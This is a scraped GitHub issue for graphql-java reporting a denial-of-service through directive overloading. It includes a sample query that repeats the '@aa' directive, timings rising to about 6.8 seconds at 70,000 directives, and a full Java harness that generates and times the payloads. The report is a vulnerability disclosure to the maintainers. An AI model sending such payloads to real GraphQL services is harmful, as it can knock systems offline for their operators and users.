René's URL Explorer Experiment

{"@context":"https://schema.org","@type":"DiscussionForumPosting","headline":"Denial of Service via Directive overloading","articleBody":"Hello team,\r\nI've discovered that graphql-java is affected by Denial of Service via Directives overloading by default, and there is no way to configure it securely (afaik). \r\nQuery example:\r\n\r\n```\r\nquery {__typename @aa}\r\n```\r\n\r\nI get errors by implemented security mechanisms, but these mechanisms don't help in this case:\r\n- https://github.com/graphql-java/graphql-java/pull/2549\r\n- https://github.com/graphql-java/graphql-java/pull/2553\r\n\r\nMaxQueryDepthInstrumentation and MaxQueryComplexityInstrumentation don't solve the issue as well.\r\n\r\n\r\nQuery execution time increases by adding more directives:\r\n```\r\n5000 directives: 445 ms\r\n10000 directives: 732 ms\r\n15000 directives: 1164 ms\r\n20000 directives: 1671 ms\r\n25000 directives: 2159 ms\r\n30000 directives: 2661 ms\r\n35000 directives: 3171 ms\r\n40000 directives: 3687 ms\r\n45000 directives: 4224 ms\r\n50000 directives: 4711 ms\r\n55000 directives: 5227 ms\r\n60000 directives: 5749 ms\r\n65000 directives: 6297 ms\r\n70000 directives: 6788 ms\r\n```\r\n\r\nThe code snippet for testing:\r\n```java\r\nimport graphql.ExecutionInput;\r\nimport graphql.ExecutionResult;\r\nimport graphql.GraphQL;\r\nimport graphql.schema.GraphQLSchema;\r\nimport graphql.schema.StaticDataFetcher;\r\nimport graphql.schema.idl.RuntimeWiring;\r\nimport graphql.schema.idl.SchemaGenerator;\r\nimport graphql.schema.idl.SchemaParser;\r\nimport graphql.schema.idl.TypeDefinitionRegistry;\r\n\r\nimport static graphql.schema.idl.RuntimeWiring.newRuntimeWiring;\r\n\r\npublic class HelloWorld {\r\n\r\n    static Integer STEP = 5000;\r\n    static Integer CHECKS_AMOUNT = 15;\r\n\r\n    public static void main(String[] args) {\r\n        String schema = \"type Query{hello: String}\";\r\n\r\n        SchemaParser schemaParser = new SchemaParser();\r\n        TypeDefinitionRegistry typeDefinitionRegistry = schemaParser.parse(schema);\r\n\r\n        RuntimeWiring runtimeWiring = newRuntimeWiring()\r\n                .type(\"Query\", builder -\u003e builder.dataFetcher(\"hello\", new StaticDataFetcher(\"world\")))\r\n                .build();\r\n\r\n        SchemaGenerator schemaGenerator = new SchemaGenerator();\r\n        GraphQLSchema graphQLSchema = schemaGenerator.makeExecutableSchema(typeDefinitionRegistry, runtimeWiring);\r\n\r\n        GraphQL build = GraphQL.newGraphQL(graphQLSchema).build();\r\n\r\n        String payload = \"@aa\";\r\n\r\n        for (int i = 1; i \u003c CHECKS_AMOUNT; i++) {\r\n\r\n            String query = \"query {__typename \" + payload.repeat(i * STEP) + \"}\";\r\n            ExecutionInput executionInput = ExecutionInput.newExecutionInput().query(query).build();\r\n\r\n            long startTime = System.nanoTime();\r\n\r\n            ExecutionResult executionResult = build.execute(executionInput);\r\n\r\n            long endTime = System.nanoTime();\r\n            long duration = (endTime - startTime);\r\n\r\n            System.out.println(String.format(\"%d directives: %d ms\", i* STEP, duration / 1000000));\r\n        }\r\n    }\r\n}\r\n```\r\n","author":{"url":"https://github.com/act1on3","@type":"Person","name":"act1on3"},"datePublished":"2022-07-18T10:11:37.000Z","interactionStatistic":{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":6},"url":"https://github.com/2888/graphql-java/issues/2888"}